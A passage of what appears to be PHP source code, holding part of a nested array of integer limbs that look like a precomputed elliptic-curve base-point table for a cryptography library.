                array(6744077, 2427284, 26042789, 2720740, -847906,
1118974, 32324614, 7406442, 12420155, 1994844),
            ),
            array(
                array(14012521, -5024720, -18384453, -9578469, -26485342,
-3936439, -13033478, -10909803, 24319929, -6446333),
                array(16412690, -4507367, 10772641, 15929391, -17068788,
-4658621, 10555945, -10484049, -30102368, -4739048),
                array(22397382, -7767684, -9293161, -12792868, 17166287,
-9755136, -27333065, 6199366, 21880021, -12250760),
            ),
            array(
                array(-4283307, 5368523, -31117018, 8163389, -30323063,
3209128, 16557151, 8890729, 8840445, 4957760),
                array(-15447727, 709327, -6919446, -10870178, -29777922,
6522332, -21720181, 12130072, -14796503, 5005757),
                array(-2114751, -14308128, 23019042, 15765735, -25269683,
6002752, 10183197, -13239326, -16395286, -2176112),
            ),
        ),
        array(
            array(
                array(-19025756, 1632005, 13466291, -7995100, -23640451,
16573537, -32013908, -3057104, 22208662, 2000468),
                array(3065073, -1412761, -25598674, -361432, -17683065,
-5703415, -8164212, 11248527, -3691214, -7414184),
                array(10379208, -6045554, 8877319, 1473647, -29291284,
-12507580, 16690915, 2553332, -3132688, 16400289),
            ),
            array(
                array(15716668, 1254266, -18472690, 7446274, -8448918,
6344164, -22097271, -7285580, 26894937, 9132066),
                array(24158887, 12938817, 11085297, -8177598, -28063478,
-4457083, -30576463, 64452, -6817084, -2692882),
                array(13488534, 7794716, 22236231, 5989356, 25426474,
-12578208, 2350710, -3418511, -4688006, 2364226),
            ),
            array(
                array(16335052, 9132434, 25640582, 6678888, 1725628,
8517937, -11807024, -11697457, 15445875, -7798101),
                array(29004207, -7867081, 28661402, -640412, -12794003,
-7943086, 31863255, -4135540, -278050, -15759279),
                array(-6122061, -14866665, -28614905, 14569919, -10857999,
-3591829, 10343412, -6976290, -29828287, -10815811),
            ),
            array(
                array(27081650, 3463984, 14099042, -4517604, 1616303,
-6205604, 29542636, 15372179, 17293797, 960709),
                array(20263915, 11434237, -5765435, 11236810, 13505955,
-10857102, -16111345, 6493122, -19384511, 7639714),
                array(-2830798, -14839232, 25403038, -8215196, -8317012,
-16173699, 18006287, -16043750, 29994677, -15808121),
            ),
            array(
                array(9769828, 5202651, -24157398, -13631392, -28051003,
-11561624, -24613141, -13860782, -31184575, 709464),
                array(12286395, 13076066, -21775189, -1176622, -25003198,
4057652, -32018128, -8890874, 16102007, 13205847),
                array(13733362, 5599946, 10557076, 3195751, -5557991,
8536970, -25540170, 8525972, 10151379, 10394400),
            ),
            array(
                array(4024660, -16137551, 22436262, 12276534, -9099015,
-2686099, 19698229, 11743039, -33302334, 8934414),
                array(-15879800, -4525240, -8580747, -2934061, 14634845,
-698278, -9449077, 3137094, -11536886, 11721158),
                array(17555939, -5013938, 8268606, 2331751, -22738815,
9761013, 9319229, 8835153, -9205489, -1280045),
            ),
            array(
                array(-461409, -7830014, 20614118, 16688288, -7514766,
-4807119, 22300304, 505429, 6108462, -6183415),
                array(-5070281, 12367917, -30663534, 3234473, 32617080,
-8422642, 29880583, -13483331, -26898490, -7867459),
                array(-31975283, 5726539, 26934134, 10237677, -3173717,
-605053, 24199304, 3795095, 7592688, -14992079),
            ),
            array(
                array(21594432, -14964228, 17466408, -4077222, 32537084,
2739898, 6407723, 12018833, -28256052, 4298412),
                array(-20650503, -11961496, -27236275, 570498, 3767144,
-1717540, 13891942, -1569194, 13717174, 10805743),
                array(-14676630, -15644296, 15287174, 11927123, 24177847,
-8175568, -796431, 14860609, -26938930, -5863836),
            ),
        ),
        array(
            array(
                array(12962541, 5311799, -10060768, 11658280, 18855286,
-7954201, 13286263, -12808704, -4381056, 9882022),
                array(18512079, 11319350, -20123124, 15090309, 18818594,
5271736, -22727904, 3666879, -23967430, -3299429),
                array(-6789020, -3146043, 16192429, 13241070, 15898607,
-14206114, -10084880, -6661110, -2403099, 5276065),
            ),
            array(
                array(30169808, -5317648, 26306206, -11750859, 27814964,
7069267, 7152851, 3684982, 1449224, 13082861),
                array(10342826, 3098505, 2119311, 193222, 25702612,
12233820, 23697382, 15056736, -21016438, -8202000),
                array(-33150110, 3261608, 22745853, 7948688, 19370557,
-15177665, -26171976, 6482814, -10300080, -11060101),
            ),
            array(
                array(32869458, -5408545, 25609743, 15678670, -10687769,
-15471071, 26112421, 2521008, -22664288, 6904815),
                array(29506923, 4457497, 3377935, -9796444, -30510046,
12935080, 1561737, 3841096, -29003639, -6657642),
                array(10340844, -6630377, -18656632, -2278430, 12621151,
-13339055, 30878497, -11824370, -25584551, 5181966),
            ),
            array(
                array(25940115, -12658025, 17324188, -10307374, -8671468,
15029094, 24396252, -16450922, -2322852, -12388574),
                array(-21765684, 9916823, -1300409, 4079498, -1028346,
11909559, 1782390, 12641087, 20603771, -6561742),
                array(-18882287, -11673380, 24849422, 11501709, 13161720,
-4768874, 1925523, 11914390, 4662781, 7820689),
            ),
            array(
                array(12241050, -425982, 8132691, 9393934, 32846760,
-1599620, 29749456, 12172924, 16136752, 15264020),
                array(-10349955, -14680563, -8211979, 2330220, -17662549,
-14545780, 10658213, 6671822, 19012087, 3772772),
                array(3753511, -3421066, 10617074, 2028709, 14841030,
-6721664, 28718732, -15762884, 20527771, 12988982),
            ),
            array(
                array(-14822485, -5797269, -3707987, 12689773, -898983,
-10914866, -24183046, -10564943, 3299665, -12424953),
                array(-16777703, -15253301, -9642417, 4978983, 3308785,
8755439, 6943197, 6461331, -25583147, 8991218),
                array(-17226263, 1816362, -1673288, -6086439, 31783888,
-8175991, -32948145, 7417950, -30242287, 1507265),
            ),
            array(
                array(29692663, 6829891, -10498800, 4334896, 20945975,
-11906496, -28887608, 8209391, 14606362, -10647073),
                array(-3481570, 8707081, 32188102, 5672294, 22096700,
1711240, -33020695, 9761487, 4170404, -2085325),
                array(-11587470, 14855945, -4127778, -1531857, -26649089,
15084046, 22186522, 16002000, -14276837, -8400798),
            ),
            array(
                array(-4811456, 13761029, -31703877, -2483919, -3312471,
7869047, -7113572, -9620092, 13240845, 10965870),
                array(-7742563, -8256762, -14768334, -13656260, -23232383,
12387166, 4498947, 14147411, 29514390, 4302863),
                array(-13413405, -12407859, 20757302, -13801832, 14785143,
8976368, -5061276, -2144373, 17846988, -13971927),
            ),
        ),
        array(
            array(
                array(-2244452, -754728, -4597030, -1066309, -6247172,
1455299, -21647728, -9214789, -5222701, 12650267),
                array(-9906797, -16070310, 21134160, 12198166, -27064575,
708126, 387813, 13770293, -19134326, 10958663),
                array(22470984, 12369526, 23446014, -5441109, -21520802,
-9698723, -11772496, -11574455, -25083830, 4271862),
            ),
            array(
                array(-25169565, -10053642, -19909332, 15361595, -5984358,
2159192, 75375, -4278529, -32526221, 8469673),
                array(15854970, 4148314, -8893890, 7259002, 11666551,
13824734, -30531198, 2697372, 24154791, -9460943),
                array(15446137, -15806644, 29759747, 14019369, 30811221,
-9610191, -31582008, 12840104, 24913809, 9815020),
            ),
            array(
                array(-4709286, -5614269, -31841498, -12288893, -14443537,
10799414, -9103676, 13438769, 18735128, 9466238),
                array(11933045, 9281483, 5081055, -5183824, -2628162,
-4905629, -7727821, -10896103, -22728655, 16199064),
                array(14576810, 379472, -26786533, -8317236, -29426508,
-10812974, -102766, 1876699, 30801119, 2164795),
            ),
            array(
                array(15995086, 3199873, 13672555, 13712240, -19378835,
-4647646, -13081610, -15496269, -13492807, 1268052),
                array(-10290614, -3659039, -3286592, 10948818, 23037027,
3794475, -3470338, -12600221, -17055369, 3565904),
                array(29210088, -9419337, -5919792, -4952785, 10834811,
-13327726, -16512102, -10820713, -27162222, -14030531),
            ),
            array(
                array(-13161890, 15508588, 16663704, -8156150, -28349942,
9019123, -29183421, -3769423, 2244111, -14001979),
                array(-5152875, -3800936, -9306475, -6071583, 16243069,
14684434, -25673088, -16180800, 13491506, 4641841),
                array(10813417, 643330, -19188515, -728916, 30292062,
-16600078, 27548447, -7721242, 14476989, -12767431),
            ),
            array(
                array(10292079, 9984945, 6481436, 8279905, -7251514,
7032743, 27282937, -1644259, -27912810, 12651324),
                array(-31185513, -813383, 22271204, 11835308, 10201545,
15351028, 17099662, 3988035, 21721536, -3148940),
                array(10202177, -6545839, -31373232, -9574638, -32150642,
-8119683, -12906320, 3852694, 13216206, 14842320),
            ),
            array(
                array(-15815640, -10601066, -6538952, -7258995, -6984659,
-6581778, -31500847, 13765824, -27434397, 9900184),
                array(14465505, -13833331, -32133984, -14738873, -27443187,
12990492, 33046193, 15796406, -7051866, -8040114),
                array(30924417, -8279620, 6359016, -12816335, 16508377,
9071735, -25488601, 15413635, 9524356, -7018878),
            ),
            array(
                array(12274201, -13175547, 32627641, -1785326, 6736625,
13267305, 5237659, -5109483, 15663516, 4035784),
                array(-2951309, 8903985, 17349946, 601635, -16432815,
-4612556, -13732739, -15889334, -22258478, 4659091),
                array(-16916263, -4952973, -30393711, -15158821, 20774812,
15897498, 5736189, 15026997, -2178256, -13455585),
            ),
        ),
        array(
            array(
                array(-8858980, -2219056, 28571666, -10155518, -474467,
-10105698, -3801496, 278095, 23440562, -290208),
                array(10226241, -5928702, 15139956, 120818, -14867693,
5218603, 32937275, 11551483, -16571960, -7442864),
                array(17932739, -12437276, -24039557, 10749060, 11316803,
7535897, 22503767, 5561594, -3646624, 3898661),
            ),
            array(
                array(7749907, -969567, -16339731, -16464, -25018111,
15122143, -1573531, 7152530, 21831162, 1245233),
                array(26958459, -14658026, 4314586, 8346991, -5677764,
11960072, -32589295, -620035, -30402091, -16716212),
                array(-12165896, 9166947, 33491384, 13673479, 29787085,
13096535, 6280834, 14587357, -22338025, 13987525),
            ),
            array(
                array(-24349909, 7778775, 21116000, 15572597, -4833266,
-5357778, -4300898, -5124639, -7469781, -2858068),
                array(9681908, -6737123, -31951644, 13591838, -6883821,
386950, 31622781, 6439245, -14581012, 4091397),
                array(-8426427, 1470727, -28109679, -1596990, 3978627,
-5123623, -19622683, 12092163, 29077877, -14741988),
            ),
            array(
                array(5269168, -6859726, -13230211, -8020715, 25932563,
1763552, -5606110, -5505881, -20017847, 2357889),
                array(32264008, -15407652, -5387735, -1160093, -2091322,
-3946900, 23104804, -12869908, 5727338, 189038),
                array(14609123, -8954470, -6000566, -16622781, -14577387,
-7743898, -26745169, 10942115, -25888931, -14884697),
            ),
            array(
                array(20513500, 5557931, -15604613, 7829531, 26413943,
-2019404, -21378968, 7471781, 13913677, -5137875),
                array(-25574376, 11967826, 29233242, 12948236, -6754465,
4713227, -8940970, 14059180, 12878652, 8511905),
                array(-25656801, 3393631, -2955415, -7075526, -2250709,
9366908, -30223418, 6812974, 5568676, -3127656),
            ),
            array(
                array(11630004, 12144454, 2116339, 13606037, 27378885,
15676917, -17408753, -13504373, -14395196, 8070818),
                array(27117696, -10007378, -31282771, -5570088, 1127282,
12772488, -29845906, 10483306, -11552749, -1028714),
                array(10637467, -5688064, 5674781, 1072708, -26343588,
-6982302, -1683975, 9177853, -27493162, 15431203),
            ),
            array(
                array(20525145, 10892566, -12742472, 12779443, -29493034,
16150075, -28240519, 14943142, -15056790, -7935931),
                array(-30024462, 5626926, -551567, -9981087, 753598,
11981191, 25244767, -3239766, -3356550, 9594024),
                array(-23752644, 2636870, -5163910, -10103818, 585134,
7877383, 11345683, -6492290, 13352335, -10977084),
            ),
            array(
                array(-1931799, -5407458, 3304649, -12884869, 17015806,
-4877091, -29783850, -7752482, -13215537, -319204),
                array(20239939, 6607058, 6203985, 3483793, -18386976,
-779229, -20723742, 15077870, -22750759, 14523817),
                array(27406042, -6041657, 27423596, -4497394, 4996214,
10002360, -28842031, -4545494, -30172742, -4805667),
            ),
        ),
        array(
            array(
                array(11374242, 12660715, 17861383, -12540833, 10935568,
1099227, -13886076, -9091740, -27727044, 11358504),
                array(-12730809, 10311867, 1510375, 10778093, -2119455,
-9145702, 32676003, 11149336, -26123651, 4985768),
                array(-19096303, 341147, -6197485, -239033, 15756973,
-8796662, -983043, 13794114, -19414307, -15621255),
            ),
            array(
                array(6490081, 11940286, 25495923, -7726360, 8668373,
-8751316, 3367603, 6970005, -1691065, -9004790),
                array(1656497, 13457317, 15370807, 6364910, 13605745,
8362338, -19174622, -5475723, -16796596, -5031438),
                array(-22273315, -13524424, -64685, -4334223, -18605636,
-10921968, -20571065, -7007978, -99853, -10237333),
            ),
            array(
                array(17747465, 10039260, 19368299, -4050591, -20630635,
-16041286, 31992683, -15857976, -29260363, -5511971),
                array(31932027, -4986141, -19612382, 16366580, 22023614,
88450, 11371999, -3744247, 4882242, -10626905),
                array(29796507, 37186, 19818052, 10115756, -11829032,
3352736, 18551198, 3272828, -5190932, -4162409),
            ),
            array(
                array(12501286, 4044383, -8612957, -13392385, -32430052,
5136599, -19230378, -3529697, 330070, -3659409),
                array(6384877, 2899513, 17807477, 7663917, -2358888,
12363165, 25366522, -8573892, -271295, 12071499),
                array(-8365515, -4042521, 25133448, -4517355, -6211027,
2265927, -32769618, 1936675, -5159697, 3829363),
            ),
            array(
                array(28425966, -5835433, -577090, -4697198, -14217555,
6870930, 7921550, -6567787, 26333140, 14267664),
                array(-11067219, 11871231, 27385719, -10559544, -4585914,
-11189312, 10004786, -8709488, -21761224, 8930324),
                array(-21197785, -16396035, 25654216, -1725397, 12282012,
11008919, 1541940, 4757911, -26491501, -16408940),
            ),
            array(
                array(13537262, -7759490, -20604840, 10961927, -5922820,
-13218065, -13156584, 6217254, -15943699, 13814990),
                array(-17422573, 15157790, 18705543, 29619, 24409717,
-260476, 27361681, 9257833, -1956526, -1776914),
                array(-25045300, -10191966, 15366585, 15166509, -13105086,
8423556, -29171540, 12361135, -18685978, 4578290),
            ),
            array(
                array(24579768, 3711570, 1342322, -11180126, -27005135,
14124956, -22544529, 14074919, 21964432, 8235257),
                array(-6528613, -2411497, 9442966, -5925588, 12025640,
-1487420, -2981514, -1669206, 13006806, 2355433),
                array(-16304899, -13605259, -6632427, -5142349, 16974359,
-10911083, 27202044, 1719366, 1141648, -12796236),
            ),
            array(
                array(-12863944, -13219986, -8318266, -11018091, -6810145,
-4843894, 13475066, -3133972, 32674895, 13715045),
                array(11423335, -5468059, 32344216, 8962751, 24989809,
9241752, -13265253, 16086212, -28740881, -15642093),
                array(-1409668, 12530728, -6368726, 10847387, 19531186,
-14132160, -11709148, 7791794, -27245943, 4383347),
            ),
        ),
        array(
            array(
                array(-28970898, 5271447, -1266009, -9736989, -12455236,
16732599, -4862407, -4906449, 27193557, 6245191),
                array(-15193956, 5362278, -1783893, 2695834, 4960227,
12840725, 23061898, 3260492, 22510453, 8577507),
                array(-12632451, 11257346, -32692994, 13548177, -721004,
10879011, 31168030, 13952092, -29571492, -3635906),
            ),
            array(
                array(3877321, -9572739, 32416692, 5405324, -11004407,
-13656635, 3759769, 11935320, 5611860, 8164018),
                array(-16275802, 14667797, 15906460, 12155291, -22111149,
-9039718, 32003002, -8832289, 5773085, -8422109),
                array(-23788118, -8254300, 1950875, 8937633, 18686727,
16459170, -905725, 12376320, 31632953, 190926),
            ),
            array(
                array(-24593607, -16138885, -8423991, 13378746, 14162407,
6901328, -8288749, 4508564, -25341555, -3627528),
                array(8884438, -5884009, 6023974, 10104341, -6881569,
-4941533, 18722941, -14786005, -1672488, 827625),
                array(-32720583, -16289296, -32503547, 7101210, 13354605,
2659080, -1800575, -14108036, -24878478, 1541286),
            ),
            array(
                array(2901347, -1117687, 3880376, -10059388, -17620940,
-3612781, -21802117, -3567481, 20456845, -1885033),
                array(27019610, 12299467, -13658288, -1603234, -12861660,
-4861471, -19540150, -5016058, 29439641, 15138866),
                array(21536104, -6626420, -32447818, -10690208, -22408077,
5175814, -5420040, -16361163, 7779328, 109896),
            ),
            array(
                array(30279744, 14648750, -8044871, 6425558, 13639621,
-743509, 28698390, 12180118, 23177719, -554075),
                array(26572847, 3405927, -31701700, 12890905, -19265668,
5335866, -6493768, 2378492, 4439158, -13279347),
                array(-22716706, 3489070, -9225266, -332753, 18875722,
-1140095, 14819434, -12731527, -17717757, -5461437),
            ),
            array(
                array(-5056483, 16566551, 15953661, 3767752, -10436499,
15627060, -820954, 2177225, 8550082, -15114165),
                array(-18473302, 16596775, -381660, 15663611, 22860960,
15585581, -27844109, -3582739, -23260460, -8428588),
                array(-32480551, 15707275, -8205912, -5652081, 29464558,
2713815, -22725137, 15860482, -21902570, 1494193),
            ),
            array(
                array(-19562091, -14087393, -25583872, -9299552, 13127842,
759709, 21923482, 16529112, 8742704, 12967017),
                array(-28464899, 1553205, 32536856, -10473729, -24691605,
-406174, -8914625, -2933896, -29903758, 15553883),
                array(21877909, 3230008, 9881174, 10539357, -4797115,
2841332, 11543572, 14513274, 19375923, -12647961),
            ),
            array(
                array(8832269, -14495485, 13253511, 5137575, 5037871,
4078777, 24880818, -6222716, 2862653, 9455043),
                array(29306751, 5123106, 20245049, -14149889, 9592566,
8447059, -2077124, -2990080, 15511449, 4789663),
                array(-20679756, 7004547, 8824831, -9434977, -4045704,
-3750736, -5754762, 108893, 23513200, 16652362),
            ),
        ),
        array(
            array(
                array(-33256173, 4144782, -4476029, -6579123, 10770039,
-7155542, -6650416, -12936300, -18319198, 10212860),
                array(2756081, 8598110, 7383731, -6859892, 22312759,
-1105012, 21179801, 2600940, -9988298, -12506466),
                array(-24645692, 13317462, -30449259, -15653928, 21365574,
-10869657, 11344424, 864440, -2499677, -16710063),
            ),
            array(
                array(-26432803, 6148329, -17184412, -14474154, 18782929,
-275997, -22561534, 211300, 2719757, 4940997),
                array(-1323882, 3911313, -6948744, 14759765, -30027150,
7851207, 21690126, 8518463, 26699843, 5276295),
                array(-13149873, -6429067, 9396249, 365013, 24703301,
-10488939, 1321586, 149635, -15452774, 7159369),
            ),
            array(
                array(9987780, -3404759, 17507962, 9505530, 9731535,
-2165514, 22356009, 8312176, 22477218, -8403385),
                array(18155857, -16504990, 19744716, 9006923, 15154154,
-10538976, 24256460, -4864995, -22548173, 9334109),
                array(2986088, -4911893, 10776628, -3473844, 10620590,
-7083203, -21413845, 14253545, -22587149, 536906),
            ),
            array(
                array(4377756, 8115836, 24567078, 15495314, 11625074,
13064599, 7390551, 10589625, 10838060, -15420424),
                array(-19342404, 867880, 9277171, -3218459, -14431572,
-1986443, 19295826, -15796950, 6378260, 699185),
                array(7895026, 4057113, -7081772, -13077756, -17886831,
-323126, -716039, 15693155, -5045064, -13373962),
            ),
            array(
                array(-7737563, -5869402, -14566319, -7406919, 11385654,
13201616, 31730678, -10962840, -3918636, -9669325),
                array(10188286, -15770834, -7336361, 13427543, 22223443,
14896287, 30743455, 7116568, -21786507, 5427593),
                array(696102, 13206899, 27047647, -10632082, 15285305,
-9853179, 10798490, -4578720, 19236243, 12477404),
            ),
            array(
                array(-11229439, 11243796, -17054270, -8040865, -788228,
-8167967, -3897669, 11180504, -23169516, 7733644),
                array(17800790, -14036179, -27000429, -11766671, 23887827,
3149671, 23466177, -10538171, 10322027, 15313801),
                array(26246234, 11968874, 32263343, -5468728, 6830755,
-13323031, -15794704, -101982, -24449242, 10890804),
            ),
            array(
                array(-31365647, 10271363, -12660625, -6267268, 16690207,
-13062544, -14982212, 16484931, 25180797, -5334884),
                array(-586574, 10376444, -32586414, -11286356, 19801893,
10997610, 2276632, 9482883, 316878, 13820577),
                array(-9882808, -4510367, -2115506, 16457136, -11100081,
11674996, 30756178, -7515054, 30696930, -3712849),
            ),
            array(
                array(32988917, -9603412, 12499366, 7910787, -10617257,
-11931514, -7342816, -9985397, -32349517, 7392473),
                array(-8855661, 15927861, 9866406, -3649411, -2396914,
-16655781, -30409476, -9134995, 25112947, -2926644),
                array(-2504044, -436966, 25621774, -5678772, 15085042,
-5479877, -24884878, -13526194, 5537438, -13914319),
            ),
        ),
        array(
            array(
                array(-11225584, 2320285, -9584280, 10149187, -33444663,
5808648, -14876251, -1729667, 31234590, 6090599),
                array(-9633316, 116426, 26083934, 2897444, -6364437,
-2688086, 609721, 15878753, -6970405, -9034768),
                array(-27757857, 247744, -15194774, -9002551, 23288161,
-10011936, -23869595, 6503646, 20650474, 1804084),
            ),
            array(
                array(-27589786, 15456424, 8972517, 8469608, 15640622,
4439847, 3121995, -10329713, 27842616, -202328),
                array(-15306973, 2839644, 22530074, 10026331, 4602058,
5048462, 28248656, 5031932, -11375082, 12714369),
                array(20807691, -7270825, 29286141, 11421711, -27876523,
-13868230, -21227475, 1035546, -19733229, 12796920),
            ),
            array(
                array(12076899, -14301286, -8785001, -11848922, -25012791,
16400684, -17591495, -12899438, 3480665, -15182815),
                array(-32361549, 5457597, 28548107, 7833186, 7303070,
-11953545, -24363064, -15921875, -33374054, 2771025),
                array(-21389266, 421932, 26597266, 6860826, 22486084,
-6737172, -17137485, -4210226, -24552282, 15673397),
            ),
            array(
                array(-20184622, 2338216, 19788685, -9620956, -4001265,
-8740893, -20271184, 4733254, 3727144, -12934448),
                array(6120119, 814863, -11794402, -622716, 6812205,
-15747771, 2019594, 7975683, 31123697, -10958981),
                array(30069250, -11435332, 30434654, 2958439, 18399564,
-976289, 12296869, 9204260, -16432438, 9648165),
            ),
            array(
                array(32705432, -1550977, 30705658, 7451065, -11805606,
9631813, 3305266, 5248604, -26008332, -11377501),
                array(17219865, 2375039, -31570947, -5575615, -19459679,
9219903, 294711, 15298639, 2662509, -16297073),
                array(-1172927, -7558695, -4366770, -4287744, -21346413,
-8434326, 32087529, -1222777, 32247248, -14389861),
            ),
            array(
                array(14312628, 1221556, 17395390, -8700143, -4945741,
-8684635, -28197744, -9637817, -16027623, -13378845),
                array(-1428825, -9678990, -9235681, 6549687, -7383069,
-468664, 23046502, 9803137, 17597934, 2346211),
                array(18510800, 15337574, 26171504, 981392, -22241552,
7827556, -23491134, -11323352, 3059833, -11782870),
            ),
            array(
                array(10141598, 6082907, 17829293, -1947643, 9830092,
13613136, -25556636, -5544586, -33502212, 3592096),
                array(33114168, -15889352, -26525686, -13343397, 33076705,
8716171, 1151462, 1521897, -982665, -6837803),
                array(-32939165, -4255815, 23947181, -324178, -33072974,
-12305637, -16637686, 3891704, 26353178, 693168),
            ),
            array(
                array(30374239, 1595580, -16884039, 13186931, 4600344,
406904, 9585294, -400668, 31375464, 14369965),
                array(-14370654, -7772529, 1510301, 6434173, -18784789,
-6262728, 32732230, -13108839, 17901441, 16011505),
                array(18171223, -11934626, -12500402, 15197122, -11038147,
-15230035, -19172240, -16046376, 8764035, 12309598),
            ),
        ),
        array(
            array(
                array(5975908, -5243188, -19459362, -9681747, -11541277,
14015782, -23665757, 1228319, 17544096, -10593782),
                array(5811932, -1715293, 3442887, -2269310, -18367348,
-8359541, -18044043, -15410127, -5565381, 12348900),
                array(-31399660, 11407555, 25755363, 6891399, -3256938,
14872274, -24849353, 8141295, -10632534, -585479),
            ),
            array(
                array(-12675304, 694026, -5076145, 13300344, 14015258,
-14451394, -9698672, -11329050, 30944593, 1130208),
                array(8247766, -6710942, -26562381, -7709309, -14401939,
-14648910, 4652152, 2488540, 23550156, -271232),
                array(17294316, -3788438, 7026748, 15626851, 22990044,
113481, 2267737, -5908146, -408818, -137719),
            ),
            array(
                array(16091085, -16253926, 18599252, 7340678, 2137637,
-1221657, -3364161, 14550936, 3260525, -7166271),
                array(-4910104, -13332887, 18550887, 10864893, -16459325,
-7291596, -23028869, -13204905, -12748722, 2701326),
                array(-8574695, 16099415, 4629974, -16340524, -20786213,
-6005432, -10018363, 9276971, 11329923, 1862132),
            ),
            array(
                array(14763076, -15903608, -30918270, 3689867, 3511892,
10313526, -21951088, 12219231, -9037963, -940300),
                array(8894987, -3446094, 6150753, 3013931, 301220,
15693451, -31981216, -2909717, -15438168, 11595570),
                array(15214962, 3537601, -26238722, -14058872, 4418657,
-15230761, 13947276, 10730794, -13489462, -4363670),
            ),
            array(
                array(-2538306, 7682793, 32759013, 263109, -29984731,
-7955452, -22332124, -10188635, 977108, 699994),
                array(-12466472, 4195084, -9211532, 550904, -15565337,
12917920, 19118110, -439841, -30534533, -14337913),
                array(31788461, -14507657, 4799989, 7372237, 8808585,
-14747943, 9408237, -10051775, 12493932, -5409317),
            ),
            array(
                array(-25680606, 5260744, -19235809, -6284470, -3695942,
16566087, 27218280, 2607121, 29375955, 6024730),
                array(842132, -2794693, -4763381, -8722815, 26332018,
-12405641, 11831880, 6985184, -9940361, 2854096),
                array(-4847262, -7969331, 2516242, -5847713, 9695691,
-7221186, 16512645, 960770, 12121869, 16648078),
            ),
            array(
                array(-15218652, 14667096, -13336229, 2013717, 30598287,
-464137, -31504922, -7882064, 20237806, 2838411),
                array(-19288047, 4453152, 15298546, -16178388, 22115043,
-15972604, 12544294, -13470457, 1068881, -12499905),
                array(-9558883, -16518835, 33238498, 13506958, 30505848,
-1114596, -8486907, -2630053, 12521378, 4845654),
            ),
            array(
                array(-28198521, 10744108, -2958380, 10199664, 7759311,
-13088600, 3409348, -873400, -6482306, -12885870),
                array(-23561822, 6230156, -20382013, 10655314, -24040585,
-11621172, 10477734, -1240216, -3113227, 13974498),
                array(12966261, 15550616, -32038948, -1615346, 21025980,
-629444, 5642325, 7188737, 18895762, 12629579),
            ),
        ),
        array(
            array(
                array(14741879, -14946887, 22177208, -11721237, 1279741,
8058600, 11758140, 789443, 32195181, 3895677),
                array(10758205, 15755439, -4509950, 9243698, -4879422,
6879879, -2204575, -3566119, -8982069, 4429647),
                array(-2453894, 15725973, -20436342, -10410672, -5803908,
-11040220, -7135870, -11642895, 18047436, -15281743),
            ),
            array(
                array(-25173001, -11307165, 29759956, 11776784, -22262383,
-15820455, 10993114, -12850837, -17620701, -9408468),
                array(21987233, 700364, -24505048, 14972008, -7774265,
-5718395, 32155026, 2581431, -29958985, 8773375),
                array(-25568350, 454463, -13211935, 16126715, 25240068,
8594567, 20656846, 12017935, -7874389, -13920155),
            ),
            array(
                array(6028182, 6263078, -31011806, -11301710, -818919,
2461772, -31841174, -5468042, -1721788, -2776725),
                array(-12278994, 16624277, 987579, -5922598, 32908203,
1248608, 7719845, -4166698, 28408820, 6816612),
                array(-10358094, -8237829, 19549651, -12169222, 22082623,
16147817, 20613181, 13982702, -10339570, 5067943),
            ),
            array(
                array(-30505967, -3821767, 12074681, 13582412, -19877972,
2443951, -19719286, 12746132, 5331210, -10105944),
                array(30528811, 3601899, -1957090, 4619785, -27361822,
-15436388, 24180793, -12570394, 27679908, -1648928),
                array(9402404, -13957065, 32834043, 10838634, -26580150,
-13237195, 26653274, -8685565, 22611444, -12715406),
            ),
            array(
                array(22190590, 1118029, 22736441, 15130463, -30460692,
-5991321, 19189625, -4648942, 4854859, 6622139),
                array(-8310738, -2953450, -8262579, -3388049, -10401731,
-271929, 13424426, -3567227, 26404409, 13001963),
                array(-31241838, -15415700, -2994250, 8939346, 11562230,
-12840670, -26064365, -11621720, -15405155, 11020693),
            ),
            array(
                array(1866042, -7949489, -7898649, -10301010, 12483315,
13477547, 3175636, -12424163, 28761762, 1406734),
                array(-448555, -1777666, 13018551, 3194501, -9580420,
-11161737, 24760585, -4347088, 25577411, -13378680),
                array(-24290378, 4759345, -690653, -1852816, 2066747,
10693769, -29595790, 9884936, -9368926, 4745410),
            ),
            array(
                array(-9141284, 6049714, -19531061, -4341411, -31260798,
9944276, -15462008, -11311852, 10931924, -11931931),
                array(-16561513, 14112680, -8012645, 4817318, -8040464,
-11414606, -22853429, 10856641, -20470770, 13434654),
                array(22759489, -10073434, -16766264, -1871422, 13637442,
-10168091, 1765144, -12654326, 28445307, -5364710),
            ),
            array(
                array(29875063, 12493613, 2795536, -3786330, 1710620,
15181182, -10195717, -8788675, 9074234, 1167180),
                array(-26205683, 11014233, -9842651, -2635485, -26908120,
7532294, -18716888, -9535498, 3843903, 9367684),
                array(-10969595, -6403711, 9591134, 9582310, 11349256,
108879, 16235123, 8601684, -139197, 4242895),
            ),
        ),
        array(
            array(
                array(22092954, -13191123, -2042793, -11968512, 32186753,
-11517388, -6574341, 2470660, -27417366, 16625501),
                array(-11057722, 3042016, 13770083, -9257922, 584236,
-544855, -7770857, 2602725, -27351616, 14247413),
                array(6314175, -10264892, -32772502, 15957557, -10157730,
168750, -8618807, 14290061, 27108877, -1180880),
            ),
            array(
                array(-8586597, -7170966, 13241782, 10960156, -32991015,
-13794596, 33547976, -11058889, -27148451, 981874),
                array(22833440, 9293594, -32649448, -13618667, -9136966,
14756819, -22928859, -13970780, -10479804, -16197962),
                array(-7768587, 3326786, -28111797, 10783824, 19178761,
14905060, 22680049, 13906969, -15933690, 3797899),
            ),
            array(
                array(21721356, -4212746, -12206123, 9310182, -3882239,
-13653110, 23740224, -2709232, 20491983, -8042152),
                array(9209270, -15135055, -13256557, -6167798, -731016,
15289673, 25947805, 15286587, 30997318, -6703063),
                array(7392032, 16618386, 23946583, -8039892, -13265164,
-1533858, -14197445, -2321576, 17649998, -250080),
            ),
            array(
                array(-9301088, -14193827, 30609526, -3049543, -25175069,
-1283752, -15241566, -9525724, -2233253, 7662146),
                array(-17558673, 1763594, -33114336, 15908610, -30040870,
-12174295, 7335080, -8472199, -3174674, 3440183),
                array(-19889700, -5977008, -24111293, -9688870, 10799743,
-16571957, 40450, -4431835, 4862400, 1133),
            ),
            array(
                array(-32856209, -7873957, -5422389, 14860950, -16319031,
7956142, 7258061, 311861, -30594991, -7379421),
                array(-3773428, -1565936, 28985340, 7499440, 24445838,
9325937, 29727763, 16527196, 18278453, 15405622),
                array(-4381906, 8508652, -19898366, -3674424, -5984453,
15149970, -13313598, 843523, -21875062, 13626197),
            ),
            array(
                array(2281448, -13487055, -10915418, -2609910, 1879358,
16164207, -10783882, 3953792, 13340839, 15928663),
                array(31727126, -7179855, -18437503, -8283652, 2875793,
-16390330, -25269894, -7014826, -23452306, 5964753),
                array(4100420, -5959452, -17179337, 6017714, -18705837,
12227141, -26684835, 11344144, 2538215, -7570755),
            ),
            array(
